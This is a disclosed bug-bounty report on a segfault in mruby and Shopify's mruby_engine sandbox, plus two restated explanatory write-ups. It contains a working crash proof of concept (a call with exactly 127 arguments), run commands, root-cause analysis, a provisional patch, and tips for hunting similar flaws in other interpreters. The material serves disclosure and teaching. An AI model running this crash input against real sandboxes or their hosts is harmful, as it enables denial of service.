Broken handling of maximum number of method call arguments leads to segfault
A logic error in mruby's compiler code generation mishandles method calls with exactly 127 arguments, causing the first argument to be treated as an array when it is not, leading to a null pointer dereference. An attacker who can supply Ruby code to mruby or its sandbox can crash the interpreter with a segmentation fault.
- Triaged in 11 hours
- Fixed in 2 days
- Paid in 30 days
- Disclosed after 35 days
Introduction
Improper logic for handling of maximum number of method call arguments leads to dereferencing an invalid pointer in some cases, which causes a segfault in both mruby and mruby_engine (and the parent MRI).
The crash only happens when the number of arguments, n == CALL_MAXARGS, which is 127. If a larger number of arguments are supplied, mruby doesn't crash but it doesn't appear to work as intended either. The intent of the design seems to had been to support a larger number of arguments than CALL_MAXARGS, but that they should then be passed as an array. However, calls with more than CALL_MAXARGS don't succeed, raising an ArgumentError instead.
Proof of Concept
crash.rb
x 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
The above POC is written with line continuations for readability only; the crash doesn't depend on the line continuations, only on there being exactly 127 arguments.
- Save the above code as crash.rb
- Run either: a) mruby crash.rb b) sandbox crash.rb
- Both cause a segmentation fault.
Discussion
Everything below assumes the latest master of the mruby repository as of Nov 16th, which is commit 1685eff2a5e672173d67916a1c96648df92b7271.
The crash happens on line 473 of ext/mruby_engine/mruby/src/array.c
if (ARY_SHARED_P(a)
because a is a null pointer and the macro ARY_SHARED_P tries accessing its flags member ((a)->flags).
The underlying cause is located in ext/mruby_engine/mruby/mrbgems/mruby-compiler/core/codegen.c, in the function gen_values. Inside the while loop on line 779, there is a special check for handling both array "splat" mode and more than 126 arguments. This code creates an array as the first argument of the method call which is supposed to contain all the arguments for a method call with more than 126 arguments. Since the rest of the code expects that the first argument is an array when n == CALL_MAXARGS, it is vital for this check to happen.
However, when there are exactly 127 arguments, n becomes 127 exactly when t becomes null at the end of the loop in the assignment t = t->cdr. This is expected, because we have reached the last AST node, but then the loop exits early and the special case never happens. This leads to the rest of the code treating the first argument (a 0 fixnum) as an array, leading to the crash.
At first it seemed to us that this is a simple botched check and that shuffling things around a bit in this function should fix it, but it seems there is a deeper problem with the design in multiple places. In particular, calling functions with more than 127 arguments doesn't work at all (even though the special case is triggered in those cases and an array is created):
more_than_127.rb
def x(x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15, x16,
x17, x18, x19, x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x30,
x31, x32, x33, x34, x35, x36, x37, x38, x39, x40, x41, x42, x43, x44,
x45, x46, x47, x48, x49, x50, x51, x52, x53, x54, x55, x56, x57, x58,
x59, x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x70, x71, x72,
x73, x74, x75, x76, x77, x78, x79, x80, x81, x82, x83, x84, x85, x86,
x87, x88, x89, x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x100,
x101, x102, x103, x104, x105, x106, x107, x108, x109, x110, x111, x112,
x113, x114, x115, x116, x117, x118, x119, x120, x121, x122, x123, x124,
x125, x126, x127, x128)
end
x 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
This raises a cryptic error message:
trace:
[1] more_than_127.rb:1:in Object.x
[0] more_than_127.rb:20
ArgumentError: 'x': wrong number of arguments (-1 for 0)
Solution
Because of design issues described above, it might be a good idea to patch the security flaw first (if mruby is already deployed somewhere) by limiting the number of arguments to 126:
127_arguments_crash_provisionary.patch
diff --git a/mrbgems/mruby-compiler/core/codegen.c b/mrbgems/mruby-compiler/core/codegen.c
index 9b064b8..36a6d5f 100644
--- a/mrbgems/mruby-compiler/core/codegen.c
+++ b/mrbgems/mruby-compiler/core/codegen.c
@@ -770,6 +770,8 @@ attrsym(codegen_scope *s, mrb_sym a)
return mrb_intern(s->mrb, name2, len+1);
}
+#define CALL_MAXARGS 127
+
static int
gen_values(codegen_scope *s, node *t, int val)
{
@@ -824,13 +826,15 @@ gen_values(codegen_scope *s, node *t, int val)
/* normal (no splat) mode */
codegen(s, t->car, val);
n++;
+ if (n >= CALL_MAXARGS-1) {
+ raise_error(s, "Too many arguments");
+ return -1;
+ }
t = t->cdr;
}
return n;
}
-#define CALL_MAXARGS 127
-
static void
gen_call(codegen_scope *s, node *tree, mrb_sym name, int sp, int val, int safe)
{
This makes one test fail at the moment ("Array (Longish inline array)"). We will investigate the issue further and try to come up with a patch that also fixes support for a larger number of arguments.
Context
This report concerns mruby, the lightweight Ruby implementation, and the mruby_engine sandbox that embeds it. The affected component is the compiler's code generation for method calls, specifically the handling of the maximum number of arguments a call may carry. The constant CALL_MAXARGS is 127, and the design intent appears to have been that calls with more arguments than that should pass them as an array instead. The bug is a crash: a segmentation fault in mruby, in mruby_engine, and in the parent MRI process that hosts the sandbox.
The report was filed against the Shopify scripts program and rated high severity (CVSS 8.6), with a bounty of 10,000 USD. It was disclosed on 21 December 2016.
Setup
The analysis assumes the latest master of the mruby repository as of 16 November, commit [redacted]. Two entry points are used to reproduce the crash: the mruby interpreter itself and the sandbox binary that wraps mruby_engine. No accounts, roles or special configuration are described.
Finding it
The researcher noticed that the logic for handling the maximum number of method call arguments was wrong, and that in some cases it dereferences an invalid pointer. The crash only happens when the number of arguments is exactly n == CALL_MAXARGS, which is 127. Supplying a larger number of arguments does not crash mruby, but it does not work as intended either: the call raises an ArgumentError instead of succeeding.
Exploitation
Step 1: write the crashing script
The proof of concept is a single call to a method x with exactly 127 arguments, all of them the literal 0. The line continuations are only for readability; the crash depends solely on there being exactly 127 arguments.
x 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
Save this as crash.rb.
Step 2: run it under either interpreter
mruby crash.rb
sandbox crash.rb
Both invocations cause a segmentation fault. Because mruby_engine runs inside the parent MRI, the crash takes down the host process as well.
Step 3: observe the behaviour above the limit
Calling a method with more than 127 arguments does not crash but fails. The following script defines x with 128 parameters and calls it with 128 arguments.
def x(x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15, x16,
x17, x18, x19, x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x30,
x31, x32, x33, x34, x35, x36, x37, x38, x39, x40, x41, x42, x43, x44,
x45, x46, x47, x48, x49, x50, x51, x52, x53, x54, x55, x56, x57, x58,
x59, x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x70, x71, x72,
x73, x74, x75, x76, x77, x78, x79, x80, x81, x82, x83, x84, x85, x86,
x87, x88, x89, x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x100,
x101, x102, x103, x104, x105, x106, x107, x108, x109, x110, x111, x112,
x113, x114, x115, x116, x117, x118, x119, x120, x121, x122, x123, x124,
x125, x126, x127, x128)
end
x 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
This raises a cryptic error message:
trace:
[1] more_than_127.rb:1:in Object.x
[0] more_than_127.rb:20
ArgumentError: 'x': wrong number of arguments (-1 for 0)
Root cause
The crash happens on line 473 of ext/mruby_engine/mruby/src/array.c:
if (ARY_SHARED_P(a)
Here a is a null pointer, and the macro ARY_SHARED_P tries to access its flags member ((a)->flags).
The underlying cause is in ext/mruby_engine/mruby/mrbgems/mruby-compiler/core/codegen.c, in the function gen_values. Inside the while loop on line 779 there is a special check that handles both array splat mode and more than 126 arguments. That code creates an array as the first argument of the method call, intended to hold all the arguments when a call has more than 126 of them. The rest of the code expects the first argument to be an array whenever n == CALL_MAXARGS, so this check is vital.
When there are exactly 127 arguments, n becomes 127 exactly when t becomes null at the end of the loop, in the assignment t = t->cdr. That is expected, since the last AST node has been reached, but the loop then exits early and the special case never runs. The rest of the code treats the first argument, a 0 fixnum, as an array, and the crash follows.
At first this looked like a simple botched check that could be fixed by shuffling things around in the function. The researcher found a deeper design problem in multiple places: calls with more than 127 arguments do not work at all, even though the special case is triggered in those cases and an array is created. That is why the 128-argument call above fails with ArgumentError rather than succeeding.
Impact
Code compiled and run by mruby or mruby_engine that contains a call with exactly 127 arguments causes a segmentation fault. Because mruby_engine runs inside the parent MRI, the crash also takes down the host process, so this is a denial of service against the sandbox and its host, not just against the embedded interpreter. The report does not describe any memory corruption beyond the invalid pointer dereference, and the crash requires exactly 127 arguments; other counts either work or fail with an error.
Fix
Because of the design issues described above, the researcher suggests patching the security flaw first, for deployments where mruby is already in use, by limiting the number of arguments to 126. The provisional patch moves the CALL_MAXARGS definition above gen_values and adds a bounds check inside the normal (no splat) branch of the loop:
diff --git a/mrbgems/mruby-compiler/core/codegen.c b/mrbgems/mruby-compiler/core/codegen.c
index 9b064b8..36a6d5f 100644
--- a/mrbgems/mruby-compiler/core/codegen.c
+++ b/mrbgems/mruby-compiler/core/codegen.c
@@ -770,6 +770,8 @@ attrsym(codegen_scope *s, mrb_sym a)
return mrb_intern(s->mrb, name2, len+1);
}
+#define CALL_MAXARGS 127
+
static int
gen_values(codegen_scope *s, node *t, int val)
{
@@ -824,13 +826,15 @@ gen_values(codegen_scope *s, node *t, int val)
/* normal (no splat) mode */
codegen(s, t->car, val);
n++;
+ if (n >= CALL_MAXARGS-1) {
+ raise_error(s, "Too many arguments");
+ return -1;
+ }
t = t->cdr;
}
return n;
}
-#define CALL_MAXARGS 127
-
static void
gen_call(codegen_scope *s, node *tree, mrb_sym name, int sp, int val, int safe)
{
With this patch, one test fails at the time of writing ("Array (Longish inline array)"). The researcher states that the issue will be investigated further and that a patch fixing support for a larger number of arguments will be attempted.
Variants to test
- Try argument counts around the boundary (126, 127, 128) on any embedded Ruby or scripting engine that has a fixed maximum argument count. A positive result is a crash at exactly the boundary value and an error or success on either side.
- Try the same boundary values with a splat argument (
x *arr) and with a mix of splat and literal arguments, since the special case ingen_valuescovers both modes. A positive result is a crash or a wrong argument count in the error message. - Try calling a method that is not defined, as in the proof of concept, and one that is defined with matching parameters. A positive result is a crash in both cases, showing the fault is in code generation rather than in method dispatch.
- Run the same input through the sandbox wrapper and through the bare interpreter. A positive result is that both crash, and that the sandbox crash also brings down the host process.
Hunting notes
This kind of bug hides in compiler and code generation code that has a hard-coded limit on the size of a list, especially where a special case is meant to convert an oversized list into a single array argument. The signal during recon is an embedded interpreter with a documented or discoverable argument limit, and a sandbox that runs untrusted scripts inside a host process. The researcher showed impact by demonstrating a segmentation fault in both the interpreter and the sandbox, and by showing that the sandbox crash propagates to the parent MRI. The report also shows the limit of the impact: counts other than exactly 127 do not crash, and the larger-than-limit path fails with an ArgumentError rather than executing.
What happened, in plain words
Ruby is a programming language. mruby is a small, lightweight version of Ruby that is designed to be embedded inside other programs, so that those programs can run Ruby code. Shopify uses a component called mruby_engine to run Ruby scripts inside a sandbox. A sandbox is an isolated area where code can run without being trusted, a bit like a playpen: the code is allowed to do things, but it should not be able to break out and harm the rest of the system.
A method call is what happens when a program asks a named piece of code to do something and hands it some inputs, called arguments. For example, x 0, 0, 0 calls a method named x and passes it three arguments, each of them the number zero. Ruby has a fixed upper limit on how many arguments a single call may carry. In mruby that limit is a constant named CALL_MAXARGS, and its value is 127.
The researcher found that the part of mruby that translates Ruby source code into instructions (the compiler) mishandles the case where a call has exactly 127 arguments. Instead of preparing the arguments correctly, it treats the first argument as if it were a list (an array) when it is really just a number. The program then tries to read information from a place that does not exist, which is called dereferencing an invalid pointer, and the whole process crashes with a segmentation fault. A segmentation fault, often shortened to segfault, is the operating system stepping in when a program touches memory it is not allowed to touch; the program is killed on the spot.
The crash happens in mruby itself, in mruby_engine, and in the parent MRI process that hosts the sandbox. MRI stands for Matz's Ruby Interpreter, the standard, full-size Ruby implementation. Because the sandbox runs inside that parent process, a crash in the sandbox takes the parent down with it.
The report was filed against the Shopify scripts program and rated high severity, with a CVSS score of 8.6 and a bounty of 10,000 USD. CVSS is a standard scoring system for how serious a security flaw is. It was disclosed on 21 December 2016.
Context
The affected component is the compiler's code generation for method calls, specifically how it handles the maximum number of arguments a call may carry. Code generation means producing the low-level instructions that the interpreter will later execute; think of it as translating a recipe written in a human language into a set of machine steps.
The design intent appears to have been that calls with more arguments than CALL_MAXARGS should pass them as an array instead. An array is an ordered list of values, like a shopping list, held together as one item. So instead of handing 200 separate values to a method, the compiler would bundle them into one list and hand over the list. The bug is a crash: a segmentation fault in mruby, in mruby_engine, and in the parent MRI process that hosts the sandbox.
Setup
The analysis assumes the latest master of the mruby repository as of 16 November, commit [redacted]. A repository is where source code is stored and tracked; master is the main development line, and a commit is a saved snapshot of the code with a unique identifier. Pinning the exact commit matters because code changes over time, and a bug may be fixed or moved in a later version.
Two entry points are used to reproduce the crash: the mruby interpreter itself and the sandbox binary that wraps mruby_engine. A binary is a ready-to-run program. The interpreter is the program that reads Ruby code and executes it; the sandbox is a wrapper around the embedded engine. No accounts, roles or special configuration are described.
Finding it
The researcher noticed that the logic for handling the maximum number of method call arguments was wrong, and that in some cases it dereferences an invalid pointer. The crash only happens when the number of arguments is exactly n == CALL_MAXARGS, which is 127. Supplying a larger number of arguments does not crash mruby, but it does not work as intended either: the call raises an ArgumentError instead of succeeding. An error is Ruby's way of reporting that something went wrong; ArgumentError specifically means the arguments handed to a method were not acceptable.
Exploitation
Exploitation here means turning the flaw into a visible, repeatable effect. In this case the effect is a crash, so the steps below build up to it.
Step 1: write the crashing script
The proof of concept is a single call to an undefined method x with exactly 127 arguments, all of them the literal 0. A proof of concept is the smallest input that demonstrates a bug. The method x is not defined in the script. The line continuations, the backslash characters at the end of each line, are only for readability; they tell Ruby that the statement continues on the next line. The crash depends solely on there being exactly 127 arguments.
x 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
Line by line: the first line starts with the name x, followed by a comma-separated list of zeros. Each backslash at the end of a line joins it to the next, so Ruby sees one long call rather than six separate lines. The final line has no backslash, which ends the statement. Count the zeros and there are exactly 127 of them. Save this as crash.rb. The .rb extension is the conventional file extension for Ruby source code.
Step 2: run it under either interpreter
mruby crash.rb
sandbox crash.rb
The first command runs the script with the standalone mruby interpreter. The second runs it through the sandbox wrapper. Both invocations cause a segmentation fault. Because mruby_engine runs inside the parent MRI, the crash takes down the host process as well. Running it both ways is what shows the impact is not limited to the small embedded interpreter: the sandbox, and through it the host, is affected too.
Step 3: observe the behaviour above the limit
Calling a method with more than 127 arguments does not crash but fails. The following script defines x with 128 parameters and calls it with 128 arguments. A parameter is the name a method gives to an input it expects; here the method is defined to accept 128 of them, so the call and the definition match in count.
def x(x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15, x16,
x17, x18, x19, x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x30,
x31, x32, x33, x34, x35, x36, x37, x38, x39, x40, x41, x42, x43, x44,
x45, x46, x47, x48, x49, x50, x51, x52, x53, x54, x55, x56, x57, x58,
x59, x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x70, x71, x72,
x73, x74, x75, x76, x77, x78, x79, x80, x81, x82, x83, x84, x85, x86,
x87, x88, x89, x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x100,
x101, x102, x103, x104, x105, x106, x107, x108, x109, x110, x111, x112,
x113, x114, x115, x116, x117, x118, x119, x120, x121, x122, x123, x124,
x125, x126, x127, x128)
end
x 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, \
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
Line by line: def x(...) begins the definition of a method named x, and the names inside the brackets, x1 through x128, are its parameters. The end closes the definition. The call below passes 128 zeros, one for each parameter. This raises a cryptic error message:
trace:
[1] more_than_127.rb:1:in Object.x
[0] more_than_127.rb:20
ArgumentError: 'x': wrong number of arguments (-1 for 0)
The trace lists where the program was when the error occurred: line 1 inside the method x, called from line 20 of the file. The message says the wrong number of arguments was supplied, and reports -1 for 0, a nonsensical count. That odd number is the clue that the argument counting itself is broken, not just the call.
Root cause
The crash happens on line 473 of ext/mruby_engine/mruby/src/array.c:
if (ARY_SHARED_P(a)
This is a line of C, the language mruby is written in. It checks whether an array is shared, using a macro. A macro is a short piece of code that the compiler expands in place, like a text substitution. Here a is a null pointer, meaning it points at nothing at all, and the macro ARY_SHARED_P tries to access its flags member ((a)->flags). Reading a field through a pointer that points at nothing is the invalid pointer dereference, and it is what produces the segfault.
The underlying cause is in ext/mruby_engine/mruby/mrbgems/mruby-compiler/core/codegen.c, in the function gen_values. Inside the while loop on line 779 there is a special check that handles both array splat mode and more than 126 arguments. Splat mode is Ruby's way of passing a list as if its items were separate arguments, written with a star. That code creates an array as the first argument of the method call, intended to hold all the arguments when a call has more than 126 of them. The rest of the code expects the first argument to be an array whenever n == CALL_MAXARGS, so this check is vital.
When there are exactly 127 arguments, n becomes 127 exactly when t becomes null at the end of the loop, in the assignment t = t->cdr. Here t walks through the parsed form of the call, one argument at a time, and t->cdr means the rest of the list after the current item. Reaching null is expected, since the last item has been reached, but the loop then exits early and the special case never runs. The rest of the code treats the first argument, a 0 fixnum, as an array, and the crash follows. A fixnum is Ruby's internal name for a small whole number.
At first this looked like a simple botched check that could be fixed by shuffling things around in the function. The researcher found a deeper design problem in multiple places: calls with more than 127 arguments do not work at all, even though the special case is triggered in those cases and an array is created. That is why the 128-argument call above fails with ArgumentError rather than succeeding.
Impact
Code compiled and run by mruby or mruby_engine that contains a call with exactly 127 arguments causes a segmentation fault. Because mruby_engine runs inside the parent MRI, the crash also takes down the host process, so this is a denial of service against the sandbox and its host, not just against the embedded interpreter. The report does not describe any memory corruption beyond the invalid pointer dereference, and the crash requires exactly 127 arguments; other counts either work or fail with an error.
Fix
Because of the design issues described above, the researcher suggests patching the security flaw first, for deployments where mruby is already in use, by limiting the number of arguments to 126. A patch is a small change to source code that corrects a problem. The provisional patch moves the CALL_MAXARGS definition above gen_values and adds a bounds check inside the normal (no splat) branch of the loop:
diff --git a/mrbgems/mruby-compiler/core/codegen.c b/mrbgems/mruby-compiler/core/codegen.c
index 9b064b8..36a6d5f 100644
--- a/mrbgems/mruby-compiler/core/codegen.c
+++ b/mrbgems/mruby-compiler/core/codegen.c
@@ -770,6 +770,8 @@ attrsym(codegen_scope *s, mrb_sym a)
return mrb_intern(s->mrb, name2, len+1);
}
+#define CALL_MAXARGS 127
+
static int
gen_values(codegen_scope *s, node *t, int val)
{
@@ -824,13 +826,15 @@ gen_values(codegen_scope *s, node *t, int val)
/* normal (no splat) mode */
codegen(s, t->car, val);
n++;
+ if (n >= CALL_MAXARGS-1) {
+ raise_error(s, "Too many arguments");
+ return -1;
+ }
t = t->cdr;
}
return n;
}
-#define CALL_MAXARGS 127
-
static void
gen_call(codegen_scope *s, node *tree, mrb_sym name, int sp, int val, int safe)
{
This is a diff, a standard format for showing changes to a file. Lines starting with a minus are removed, lines starting with a plus are added, and lines without either are unchanged context. The first hunk moves the #define CALL_MAXARGS 127 line, which defines the constant, up above the function so it is available earlier. The second hunk adds a check after each argument is processed: if the count reaches CALL_MAXARGS-1, that is 126, the compiler raises the error Too many arguments and stops. In other words, the 127th argument is refused before the broken path can be reached.
With this patch, one test fails at the time of writing ("Array (Longish inline array)"). The researcher states that the issue will be investigated further and that a patch fixing support for a larger number of arguments will be attempted.
Variants to test
These are ideas for checking whether other systems have the same kind of flaw. Each one describes what to try and what a positive result would look like.
- Try argument counts around the boundary (126, 127, 128) on any embedded Ruby or scripting engine that has a fixed maximum argument count. A positive result is a crash at exactly the boundary value and an error or success on either side.
- Try the same boundary values with a splat argument (
x *arr) and with a mix of splat and literal arguments, since the special case ingen_valuescovers both modes. A positive result is a crash or a wrong argument count in the error message. - Try calling a method that is not defined, as in the proof of concept, and one that is defined with matching parameters. A positive result is a crash in both cases, showing the fault is in code generation rather than in method dispatch.
- Run the same input through the sandbox wrapper and through the bare interpreter. A positive result is that both crash, and that the sandbox crash also brings down the host process.
Hunting notes
This kind of bug hides in compiler and code generation code that has a hard-coded limit on the size of a list, especially where a special case is meant to convert an oversized list into a single array argument. Hard-coded means the limit is written directly into the code rather than configured. The signal during recon, the early information-gathering phase of a security test, is an embedded interpreter with a documented or discoverable argument limit, and a sandbox that runs untrusted scripts inside a host process. The researcher showed impact by demonstrating a segmentation fault in both the interpreter and the sandbox, and by showing that the sandbox crash propagates to the parent MRI. The report also shows the limit of the impact: counts other than exactly 127 do not crash, and the larger-than-limit path fails with an ArgumentError rather than executing.
Glossary
- Ruby: a programming language designed for readable, flexible code.
- mruby: a small, lightweight implementation of Ruby meant to be embedded inside other programs.
- mruby_engine: the component that embeds mruby and runs Ruby scripts inside a host program.
- MRI: Matz's Ruby Interpreter, the standard full-size Ruby implementation; here it is the parent process hosting the sandbox.
- Sandbox: an isolated environment where untrusted code can run without being trusted with the rest of the system.
- Method call: asking a named piece of code to run and handing it inputs.
- Argument: one of the inputs passed to a method call.
- Parameter: the name a method gives to an input it expects.
- Constant: a named value in code that is not meant to change, such as
CALL_MAXARGS. - CALL_MAXARGS: the constant holding the maximum number of arguments a call may carry, 127 in mruby.
- Compiler: the part of a language implementation that translates source code into lower-level instructions.
- Code generation: the compiler stage that produces those instructions.
- Array: an ordered list of values held together as one item.
- Splat: Ruby syntax, written with a star, that passes a list as if its items were separate arguments.
- Fixnum: Ruby's internal name for a small whole number.
- Pointer: a value that refers to a location in memory.
- Null pointer: a pointer that refers to nothing at all.
- Dereference: reading or writing the memory a pointer refers to.
- Invalid pointer dereference: dereferencing a pointer that does not point at valid memory, which typically crashes the program.
- Segmentation fault (segfault): the operating system killing a program because it touched memory it is not allowed to touch.
- Macro: a short piece of code that the compiler expands in place, like a text substitution.
- ArgumentError: Ruby's error meaning the arguments given to a method were not acceptable.
- Denial of service: making a service unavailable to its legitimate users, here by crashing it.
- CVSS: a standard scoring system for the severity of a security flaw.
- Bounty: a payment made to a researcher for reporting a valid security flaw.
- Repository: a place where source code is stored and its history tracked.
- Master: the main development line of a repository.
- Commit: a saved snapshot of source code with a unique identifier.
- Binary: a ready-to-run program file.
- Patch: a small change to source code that corrects a problem.
- Diff: a standard text format showing lines added to and removed from a file.
- Recon: the early information-gathering phase of a security test.
- Proof of concept: the smallest input that demonstrates a bug.